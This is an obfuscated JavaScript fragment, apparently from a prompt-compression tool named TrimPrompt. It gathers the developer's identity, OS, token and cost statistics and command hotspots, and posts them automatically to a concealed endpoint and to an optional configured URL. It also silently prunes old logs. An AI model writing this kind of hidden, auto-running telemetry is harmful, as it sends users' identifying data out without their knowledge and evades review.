_0x1b3bf7=a0_0x1711f7,_0x5ba2b4=getTodayDate(),_0x168ee5=_0x3c023a[_0x1b3bf7(0x217)](_0x14d75a=>_0x14d75a[_0x1b3bf7(0x223)][_0x1b3bf7(0x21d)](_0x5ba2b4)),_0x4c1f42=_0x168ee5[_0x1b3bf7(0x212)]>0x0?_0x168ee5:_0x3c023a,_0x160a2b=_0x4c1f42[_0x1b3bf7(0x217)](_0x2c5aa4=>_0x2c5aa4[_0x1b3bf7(0x1ec)]!==![]);let _0x156836=0x0,_0x533219=0x0,_0x124adb=0x0,_0x1e963c=0x0;const _0x27ab54=new Set(),_0x5131bd={};for(const _0xf4f1d of _0x160a2b){_0x156836+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x533219+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x124adb+=_0xf4f1d[_0x1b3bf7(0x1f5)],_0x27ab54['add'](_0xf4f1d[_0x1b3bf7(0x203)]);const _0x54b246=PRICING[_0xf4f1d[_0x1b3bf7(0x203)]]||PRICING['claude-3-5-sonnet'];_0x1e963c+=_0xf4f1d[_0x1b3bf7(0x1f5)]*_0x54b246[_0x1b3bf7(0x219)]/0xf4240;const _0x4061a0=_0xf4f1d[_0x1b3bf7(0x21f)]||'unknown';if(!_0x5131bd[_0x4061a0])_0x5131bd[_0x4061a0]={'raw':0x0,'comp':0x0,'count':0x0};_0x5131bd[_0x4061a0]['raw']+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21e)]+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21b)]+=0x1;}const _0x452517=Object[_0x1b3bf7(0x1f4)](_0x5131bd)[_0x1b3bf7(0x214)](([_0x34e2ba,_0x5083fb])=>({'command':_0x34e2ba,'percentage':_0x5083fb['raw']>0x0?Math[_0x1b3bf7(0x1de)]((_0x5083fb[_0x1b3bf7(0x21c)]-_0x5083fb[_0x1b3bf7(0x21e)])/_0x5083fb[_0x1b3bf7(0x21c)]*0x64):0x0,'executions':_0x5083fb[_0x1b3bf7(0x21b)]}))[_0x1b3bf7(0x211)]((_0x3cc653,_0x5921a9)=>_0x5921a9[_0x1b3bf7(0x224)]-_0x3cc653[_0x1b3bf7(0x224)])[_0x1b3bf7(0x202)](0x0,0xa),_0x1e75cf=_0x160a2b[_0x160a2b['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1b3bf7(0x1f6)](),'date':_0x5ba2b4,'executions_count':_0x160a2b[_0x1b3bf7(0x212)],'total_raw_tokens':_0x156836,'total_compressed_tokens':_0x533219,'total_tokens_saved':_0x124adb,'total_money_saved_usd':parseFloat(_0x1e963c[_0x1b3bf7(0x1e8)](0x6)),'models_used':Array[_0x1b3bf7(0x1dc)](_0x27ab54),'hotspots':_0x452517,'last_seen':_0x1e75cf?_0x1e75cf[_0x1b3bf7(0x223)]:new Date()['toISOString']()};}async function runSync(){const _0x399abc=a0_0x1711f7;if(!fs[_0x399abc(0x1db)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3f5c34;try{_0x3f5c34=JSON[_0x399abc(0x225)](fs[_0x399abc(0x1fb)](statsPath,'utf8'));}catch{return;}const _0x365d74=_0x3f5c34[_0x399abc(0x217)](_0xe351ea=>!_0xe351ea[_0x399abc(0x1ce)]);if(_0x365d74['length']===0x0)return;const _0xd2739d=buildDailyPayload(_0x3f5c34);await postTelemetry(_ep,_0xd2739d);let _0xedafd6=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xedafd6&&fs[_0x399abc(0x1db)](configPath))try{const _0x4876ed=JSON[_0x399abc(0x225)](fs['readFileSync'](configPath,_0x399abc(0x1d0)));_0xedafd6=_0x4876ed['telemetry_url']||'';}catch{}_0xedafd6['trim']()[_0x399abc(0x212)]>0x0&&await postTelemetry(_0xedafd6,_0xd2739d);for(const _0x5ba7c9 of _0x3f5c34){if(!_0x5ba7c9['synced'])_0x5ba7c9[_0x399abc(0x1ce)]=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x3f5c34,null,0x2),_0x399abc(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x3f5c34);}function pruneOldLogs(_0x339911){const _0x58b5f0=a0_0x1711f7;try{const _0x4991a=new Date(),_0x42d406=new Date(_0x4991a[_0x58b5f0(0x1df)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x12acec=[],_0x410f33=[];for(const _0x2e46e0 of _0x339911){const _0x526f18=new Date(_0x2e46e0['timestamp']);_0x526f18>=_0x42d406?_0x12acec['push'](_0x2e46e0):_0x410f33[_0x58b5f0(0x1da)](_0x2e46e0);}if(_0x410f33[_0x58b5f0(0x212)]>0x0){const _0x3cfa95=path[_0x58b5f0(0x1d2)](baseDir,'logs');for(const _0x2a250c of _0x410f33){const _0x13e69e=path[_0x58b5f0(0x1d2)](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x1cc)),_0x2a2174=path['join'](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x210));try{if(fs[_0x58b5f0(0x1db)](_0x13e69e))fs['unlinkSync'](_0x13e69e);if(fs[_0x58b5f0(0x1db)](_0x2a2174))fs[_0x58b5f0(0x1d8)](_0x2a2174);}catch{}}fs[_0x58b5f0(0x1f7)](statsPath,JSON[_0x58b5f0(0x20a)](_0x12acec,null,0x2),_0x58b5f0(0x1d0));}}catch{}}runSync()['catch'](()=>{});